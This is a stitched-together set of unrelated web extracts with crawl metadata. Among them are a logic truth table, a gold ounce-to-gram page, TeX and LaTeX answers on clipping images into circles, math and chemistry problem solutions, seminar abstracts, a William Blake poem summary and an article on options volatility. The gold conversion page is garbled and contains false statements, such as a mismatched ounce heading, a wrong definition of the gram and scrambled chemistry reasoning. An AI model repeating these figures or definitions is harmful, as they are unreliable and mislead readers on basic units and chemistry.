| 1 | 0 | 0 | 1 |
+---+---+---+--------+
| 1 | 0 | 1 | 1 |
+---+---+---+--------+
| 1 | 1 | 0 | 1 |
+---+---+---+--------+
| 1 | 1 | 1 | 1 |
+---+---+---+--------+
DNF [src]
$$p \vee r \vee \neg q$$
p∨r∨(¬q)
PDNF [src]
$$p \vee r \vee \neg q$$
p∨r∨(¬q)
CNF [src]
$$p \vee r \vee \neg q$$
p∨r∨(¬q)
$$p \vee r \vee \neg q$$
p∨r∨(¬q) | 2022-10-07 21:34:17 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21283498406410217, "perplexity": 872.4058159364208}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338280.51/warc/CC-MAIN-20221007210452-20221008000452-00096.warc.gz"} |
https://www.vanessabenedict.com/1-4-oz-to-grams-gold/ | # How many grams is 1 3 oz of gold?
#### ByVanessa
Jun 9, 2022
Equals: 7.78 grams (g) in gold mass. Calculate grams of gold per 1/4 troy ounces unit. The gold converter.
Untitled Document
## How many grams is 1 3 oz of gold
Equivalent to: 10.37 grams B (g) is the mass of the element gold. Calculate the number of grams of gold in 1/3 troy ounce.
## How much does a 1/4 grain of gold weigh
Equivalent: 0.016 (g) w in weight of gold. Calculate f using the 1/4 gold per grain method.
## What does 1 oz of gold weigh
The exact weight of an international is currently a troy ounce, if you will, 31.1034768 grams. One troy ounce of the yellow metal is equal to 31.1034807 grams. The ounce is also used to test bulk liquids.
Untitled Document
## How many weight of 200 grams is 1000 grams
Convert 220 grams to kilograms.
## How many grams of nitrogen are in a diet consisting of 100 grams of protein
Why? When reporting the amount of amino acids or key acids in the diet, you can use one of these values ??to determine the amount of nitrogen in the amount of healthy protein provided. Protein contains at least 16% nitrogen, when converted to total by dividing 100% by 16%, 6.25 is obtained.
## Why are Grams called Grams
By mass, a thin gram is equal to one thousandth of a liter (one cubic centimeter) under water at a temperature of 4 degrees Celsius. The word “gram” comes from the late Latin “gramma”, which means insignificant weight compared to the French “gram”. Symbol gg g.
## What is the amount in grams of quick lime can be obtained from 25 grams of CaCO3 on calculation
Full answer: Step by step So option C is the correct answer for a person who decomposes with $\text25 g$ calcium carbonate, giving men and women $\text14 g$ calcium oxide or which was also called quicklime .
## How many grams of 80% pure marble stone on calcination can give for 3 grams of quicklime
How many grams of flint with a purity of 80% give 13 grams of quicklime when lighting cans? ! 80 g CaCO3 = 100 g marble stone. 25 g for CaCO3=? 2580×100=31.25 g.
Untitled Document | 2022-12-01 17:08:48 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6097529530525208, "perplexity": 3821.3827830612695}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710829.5/warc/CC-MAIN-20221201153700-20221201183700-00821.warc.gz"} |
https://www.albertopasca.it/whiletrue/tag/uiimage/ | ## Objc – Draw text along UIImage
The NSTextContainer class defines a region in which text is laid out. An NSLayoutManager object uses one or more NSTextContainer objects to determine where to break lines, lay out portions of text, and so on. An NSTextContainer object defines rectangular regions, and you can define exclusion paths inside the text container’s bounding rectangle so that text flows around the exclusion path as it is laid out. You can create subclasses that define regions of nonrectangular shapes, such as circular regions. | 2022-07-06 06:22:15 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9012384414672852, "perplexity": 1252.9152114126073}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656104668059.88/warc/CC-MAIN-20220706060502-20220706090502-00651.warc.gz"} |
https://tex.stackexchange.com/questions/407751/make-a-border-around-a-circled-image/407752 | # Make a border around a circled image [duplicate]
I am trying to crop a picture so that it is shaped like a circle and additionally put a border around it. So far I figured out I will crop an image so that it looks like circle by using \clip:
\documentclass[12pt]{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
\begin{scope}
\clip [rounded corners=.6cm] (0,0) rectangle coordinate (centerpoint) (1.2,1.2cm);
\node [inner sep=0pt] at (centerpoint) {\includegraphics[width=1.2cm, height=1.2cm]{example-image-b}};
\end{scope}
\end{tikzpicture}
\end{document}
Effect:
How do I make a red-colored border (circle-shaped) around the picture?
I thought about painting one image on top of another, but the circle and the image get arranged side by side. I am a beginner so any clue will be appreciated.
You can use a circle outside of the clipped scope. If the line interferes with your picture you might want to increase the radius a bit (the second part of the draw circle command).
\documentclass[12pt]{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
\begin{scope}
\clip [rounded corners=.6cm] (0,0) rectangle coordinate (centerpoint) (1.2,1.2cm);
\node [inner sep=0pt] at (centerpoint) {\includegraphics[width=1.2cm, height=1.2cm]{example-image-b}};
\end{scope}
\draw[red] (.6cm,.6cm) circle (.6cm);
\end{tikzpicture}
\end{document}
I intentionally provide you with a more general solution because a circle can easily be obtained from an ellipse. This solution is written with PSTricks and must be compiled with either xelatex or latex-dvips-ps2pdf sequence.
\documentclass[pstricks]{standalone}
\usepackage{graphicx}
\newsavebox\temp
\savebox\temp{\includegraphics[scale=1]{example-image-a}}
\def\N{5}
\psset
{
xunit=.5\dimexpr\wd\temp/\N\relax,
yunit=.5\dimexpr\ht\temp/\N\relax,
}
\begin{document}
\begin{pspicture}[linewidth=2pt,linecolor=red](-\N,-\N)(\N,\N)
\psclip{\psellipse(\N,\N)}
\rput(0,0){\usebox\temp}
\endpsclip
\psellipse(\N,\N)
\end{pspicture}
\end{document}
The skins option of tcolorbox simplify a lot this task:
\documentclass{article}
\usepackage[skins]{tcolorbox}
\begin{document}
\begin{tikzpicture}
\node[circle,draw, very thick, color=red, minimum size=5cm,
fill overzoom image=example-image]{};
\end{tikzpicture}
\end{document} | 2022-01-24 08:14:26 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7103714346885681, "perplexity": 2226.7296157634723}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-05/segments/1642320304515.74/warc/CC-MAIN-20220124054039-20220124084039-00383.warc.gz"} |
https://ask.libreoffice.org/en/question/67212/why-are-there-automatically-generated-text-boxes-on-top-of-the-already-existing-text-in-my-pdfs-files/ | # Why are there automatically generated text boxes on top of the already existing text in my pdfs files? [closed]
Hello,
I do not know why, but with some pdf files, Libre Office generates small text boxes everywhere on the document that makes it very blurry (since it does not fit the text already existing). How can I massively get rid of these boxes? There must be a more efficient way than deleting them one by one... Can I prevent the automatically generated boxes to happen on other documents? | 2020-10-27 02:05:11 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8146039843559265, "perplexity": 1048.686477075829}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107892710.59/warc/CC-MAIN-20201026234045-20201027024045-00209.warc.gz"} |
https://scicomp.stackexchange.com/questions/444/what-numerical-quadrature-to-choose-to-integrate-a-function-with-singularities | # What numerical quadrature to choose to integrate a function with singularities?
For example, I would like to numerically compute the $L^2$-norm of $\displaystyle u = \frac{1}{(x^2+y^2+z^2)^{1/3}}$ in some domain that includes zero, I tried Gauss quadrature and it fails, it is kinda far from the real $L^2$-norm on the unit ball using spherical coordinates to integrate, is there any good way to do this? This problem is often seen in the finite element computing toy problems for domains with re-entrant corners. Thanks.
• If the origin is within the integration domain, may I suggest breaking up your integral and then transforming each one to spherical coordinates? Dec 16 '11 at 4:50
• I agree with JM -- if you know the location and structure of the singularities beforehand, you're better off using that structural information in writing the calls to your quadrature routines intelligently vs. feeding it to a numerical package and hoping that (a) it finds the singularities and (b) does the right thing with them.
– user389
Dec 16 '11 at 19:36
from mpmath import *
You may need to increase the precision (e.g. mp.dps=30) and it will likely be slow, but should be quite accurate.
You could also try nesting calls to MATLAB's quadgk(), which uses adaptive Gauss-Kronrod quadrature in 1D. | 2021-10-24 22:47:30 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6805551052093506, "perplexity": 453.7265888741953}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323587606.8/warc/CC-MAIN-20211024204628-20211024234628-00086.warc.gz"} |
https://math.stackexchange.com/questions/367100/cant-understand-a-simple-divisibility-probelm | # can't understand a simple divisibility probelm
I am reading this book. In the example 1.1 they said to prove this problem.
probelm
Let $x$ and $y$ be integers. Prove that $2x + 3y$ is divisible by $17$ iff $9x + 5y$ is divisible by $17$
the solution they provided is
$$17 \mid (2x + 3y) \implies 17 \mid [13(2x + 3y)]$$ or $$17 \mid (26x + 39y) \implies 17 \mid (9x + 5y)$$ and conversely,
$$17 \mid (9x + 5y) \implies 17 \mid [4(9x + 5y)]$$ or $$17 \mid (36x + 20y) \implies 17 \mid (2x + 3y)$$
I can't understand how the concluded this
$$17 \mid (26x + 39y) \implies 17 \mid (9x + 5y)$$ implication and this
$$17 \mid (36x + 20y) \implies 17 \mid (2x + 3y)$$
the only rule I know is
if $\;a|b\;$ then $\;a|bk$.
where a,b and k are integers. we can't deduce the above two implication (that is I confused) using this rule isn't it? is there any other point to determine that above two implications are true?
• Split the 26x into 17x + 9x. Do the same for 39y = 34y+ 5y. – Scott H. Apr 20 '13 at 5:18 | 2019-09-21 08:50:00 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7155061364173889, "perplexity": 409.8114231234999}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-39/segments/1568514574377.11/warc/CC-MAIN-20190921084226-20190921110226-00427.warc.gz"} |
https://socratic.org/questions/580711c47c01493e9794a68b | # Question #4a68b
Oct 19, 2016
$x = \frac{15}{4}$
#### Explanation:
Note that as we have $4 - x$ under a radical, we must have $x \le 4$ to avoid taking the root of a negative number.
$4 + \sqrt{10 - x} = 6 + \sqrt{4 - x}$
$\implies \sqrt{10 - x} = 2 + \sqrt{4 - x}$
$\implies {\left(\sqrt{10 - x}\right)}^{2} = {\left(2 + \sqrt{4 - x}\right)}^{2}$
$\implies 10 - x = {2}^{2} + 2 \left(2\right) \sqrt{4 - x} + {\left(\sqrt{4 - x}\right)}^{2}$
$\implies 10 - x = 4 + 4 \sqrt{4 - x} + 4 - x$
$\implies 2 = 4 \sqrt{4 - x}$
$\implies \sqrt{4 - x} = \frac{1}{2}$
$\implies {\left(\sqrt{4 - x}\right)}^{2} = {\left(\frac{1}{2}\right)}^{2}$
$\implies 4 - x = \frac{1}{4}$
$\implies x = 4 - \frac{1}{4}$
$\therefore x = \frac{15}{4}$
Checking our result:
$4 + \sqrt{10 - \frac{15}{4}} = 4 + \sqrt{\frac{25}{4}}$
$= 4 + \frac{5}{2}$
$= \frac{13}{2}$
$= 6 + \frac{1}{2}$
$= 6 + \sqrt{\frac{1}{4}}$
$= 6 + \sqrt{4 - \frac{15}{4}}$
as desired | 2019-12-09 09:53:50 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 20, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9728367328643799, "perplexity": 2439.044628519266}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575540518627.72/warc/CC-MAIN-20191209093227-20191209121227-00122.warc.gz"} |
http://www.turkmath.org/beta/seminer.php?id_seminer=1975 | Middle East Technical University General Seminars
Holomorphic Extension of Mappings between Hypersurfaces
Özcan Yazıcı
METU, Turkey
Özet : Let $M\subset \mathbb C^N, M'\subset \mathbb C^{N'}$ be real analytic hypersurfaces and $F$ be a holomorphic mapping on one side of $M$, continuous $M$ and $F(M)\subset M'$. When $N=N'$, assuming that $M$ and $M'$ have some non-degeneracy properties, it is well known that any such mapping $F$ extends holomorphically to the other side of the hyperplane $M$. When $N=N'=1$, this result is known as Schwarz Reflection Principle. In the case of $N'>N$, a very little is known about the holomorphic extension of such mappings. This extension problem is also related to holomorphic extension of meromorphic mappings of hypersurfaces. In this talk, we will review some well known results and mention some recent results about these problems.
Tarih : 21.02.2019 Saat : 15:40 Yer : Gündüz İkeda Seminar Room Dil : English | 2019-05-22 01:43:41 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8117743134498596, "perplexity": 287.0200976433566}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-22/segments/1558232256600.32/warc/CC-MAIN-20190522002845-20190522024845-00434.warc.gz"} |
http://clay6.com/qa/51366/which-of-the-following-equations-is-not-correctly-formulated- | Comment
Share
Q)
# Which of the following equations is not correctly formulated ?
$\begin {array} {1 1} (A)\;Na_2[B_4O_5(OH)_4]-8H_2O+2HCl \rightarrow 2NaCl+4H_3BO_3+5H_2O \\ (B)\;2BN+6H_2O \rightarrow 2H_3BO_3+2NH_3 \\ (C)\;H_3BO_3 \large\frac{ 375k}{-H_2O}HBO_2 (Metaboric \: acid) ; 4HBO_2 \large\frac{435k}{-H_2O}H_2B_4O_7 (tetraboric\: acid); H_2B_4O_7 \large\frac{red \: heat}{-H_2O} 2B_2O_3 (boric \: oxide) \\ (D)\;\text{$H_3BO_3$is a weak monobasic acid as it liberates hydrogen ions as$H_3BO_3 \rightarrow H^+ + H_2BO_3^-$} \end {array}$
$H_3BO_3$ is a weak monobasic acid. It does not liberate $H^+$ but accepts $OH^-$, i.e, it is Lewis acid. | 2019-12-05 19:46:38 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9648913741111755, "perplexity": 5092.240990766871}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575540482038.36/warc/CC-MAIN-20191205190939-20191205214939-00498.warc.gz"} |
https://www.yaclass.in/p/english-language-cbse/class-8/poem-2959/the-school-boy-10297/re-24dd8223-c881-449c-a396-6f370897ebe6 | ### Theory:
"The School Boy" is a poem written by William Blake. It was first published in $$1789$$ in his collection "Songs of Experience". Blake later combined these poems with his "Songs of Innocence" in a book titled "Songs of Innocence and Experience Shewing the Two Contrary States of the Human Soul".
The poem is divided into six stanzas with five lines each. While the original poem contains 30 lines, the prescribed one is short of the final three lines. Hence, the last stanza of the prescribed poem is made up of two lines instead of the actual five lines. You can read the complete poem here.
In the poem, a young boy can be seen expressing his dislike towards going to school. However, it is not the idea of learning that the kid dislikes but rather the limitations of formal education. The downside of a classroom education also becomes the central theme of the poem. | 2021-08-06 00:57:13 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3870033621788025, "perplexity": 2083.131135662945}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046152085.13/warc/CC-MAIN-20210805224801-20210806014801-00564.warc.gz"} |
http://math.stackexchange.com/questions/573/varying-definitions-of-cohomology | # Varying definitions of cohomology
So I know that given a chain complex we can define the $d$-th cohomology by taking $\ker{d}/\mathrm{im}_{d+1}$. But I don't know how this corresponds to the idea of holes in topological spaces (maybe this is homology, I'm a tad confused).
-
One can compute (co)homology of different complexes. In particular, for any topological space one can define it's singular complex (see Eric's answer for an idea how it's done) which in some sense indeed counts holes. But the idea of (co)homology is more general. – Grigory M Jul 24 '10 at 15:28
I couldn't really do better than Eric's answer, and like Grigory says, cohomology is more general. So instead I want to mention a case where cohomology doesn't do this: Sheaf Cohomology of Algebraic Groups, classify dominant Vector Bundles. This is called the Borel-Weil-Bott Theorem and has some nice ramifications for Representation Theory and Algebraic Geometry. – BBischof Jul 24 '10 at 19:48 | 2014-04-20 14:20:10 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9895988702774048, "perplexity": 444.85508681325894}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-15/segments/1397609538787.31/warc/CC-MAIN-20140416005218-00160-ip-10-147-4-33.ec2.internal.warc.gz"} |
http://www.heldermann.de/JLT/JLT23/JLT233/jlt23037.htm | Journal Home Page Cumulative Index List of all Volumes Complete Contentsof this Volume Previous Article Journal of Lie Theory 23 (2013), No. 3, 779--794Copyright Heldermann Verlag 2013 Schrödinger Equation on Homogeneous Trees Alaa Jamal Eddine MAPMO, Université d'Orléans, Route de Chartres -- B.P. 6759, 45067 Orléans 2, France alaa.jamal-eddine@univ-orleans.fr [Abstract-pdf] \def\T{{\Bbb T}} Let $\T$ be a homogeneous tree and $\cal L$ the Laplace operator on $\T$. We consider the semilinear Schr\"odinger equation associated to $\cal L$ with a power-like nonlinearity $F$ of degree $\gamma$. We first obtain dispersive estimates and Strichartz estimates with no admissibility conditions. We next deduce global well-posedness for small $L^2$ data with no gauge invariance assumption on the nonlinearity $F$. On the other hand if $F$ is gauge invariant, $L^2$ conservation leads to global well-posedness for arbitrary $L^2$ data. Notice that, in contrast with the Euclidean case, these global well-posedness results hold for all finite $\gamma\ge 1$. We finally prove scattering for arbitrary $L^2$ data under the gauge invariance assumption. Keywords: Homogeneous tree, nonlinear Schr\"odinger equation, dispersive estimate, Strichartz estimate, scattering. MSC: 35Q55, 43A90; 22E35, 43A85, 81Q05, 81Q35, 35R02 [ Fulltext-pdf (183 KB)] for subscribers only. | 2018-10-16 10:47:19 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5768268704414368, "perplexity": 1010.5680423856747}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-43/segments/1539583510749.37/warc/CC-MAIN-20181016093012-20181016114512-00508.warc.gz"} |
http://news.investors.com/investing-options/052113-657009-volatility-7-and8211-volatility-summary.htm | Streaming Quotes Are
# Volatility 7 – Volatility Summary
Posted
This is the seventh and final article in a series on volatility. The goal of this series is to clarify the different meanings of the term volatility and to discuss its many possible uses, including describing stock price action, evaluating option prices, choosing option strategies, and forecasting the market. Option traders should strive to gain an accurate understanding of volatility — and its many uses — because volatility affects option prices, trading decisions and risk analysis.
This article summarizes the important points of the previous articles.
The Concept of Volatility
"Volatility" is price change without regard to direction, which can be confusing to traders who think that "up is good and down is bad." With volatility, it is the percentage change that matters, so a 1 percent price rise is equal in volatility terms to a 1 percent price decline.
The volatility of a particular stock's price action is derived from a series of daily closing prices. The daily percentage changes are computed, and then the standard deviation of those percentage changes is calculated. This standard deviation is referred to as the historical volatility of a stock's price. The stated volatility percentage is the annual standard deviation of stock price movement.
Volatility makes it possible to compare the price fluctuations of the same stock during different time periods, and volatility makes it possible to compare the price fluctuations of two stocks regardless of a difference in price level. Volatility also makes it possible to compare past stock price fluctuations to price fluctuations that are forecast by the options market.
From statistics about normal distributions (bell-shaped curves), approximately 68% of all outcomes occur within one standard deviation of the mean; approximately 95% of all outcomes occur within two standard deviations of the mean; and approximately 99% of outcomes occur within three standard deviations.
Implied Ranges
The stated volatility percentage is the standard deviation of price movement over one year, but price-range probabilities for one year are not useful to short-term traders. So here is a formula that converts the stated volatility — the annual standard deviation — to a period of time chosen by the trader:
Standard Deviation for n days = Stock Price x Volatility x square root of time
Where square root of time =
square root of n days / square root of days per year
The statistics of volatility are a good starting point for traders, because the stock price has a 33% chance (approximately) of closing beyond one standard deviation at expiration. Consequently, a stock price change equal to one-standard deviation is a realistic target for the stock to reach. A trader still has to get the direction right, and there is still the risk that a particular time period will be one of the two-thirds when the stock price does not close beyond the one-standard deviation level. | 2014-12-23 03:10:22 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8441624045372009, "perplexity": 936.4885317390737}, 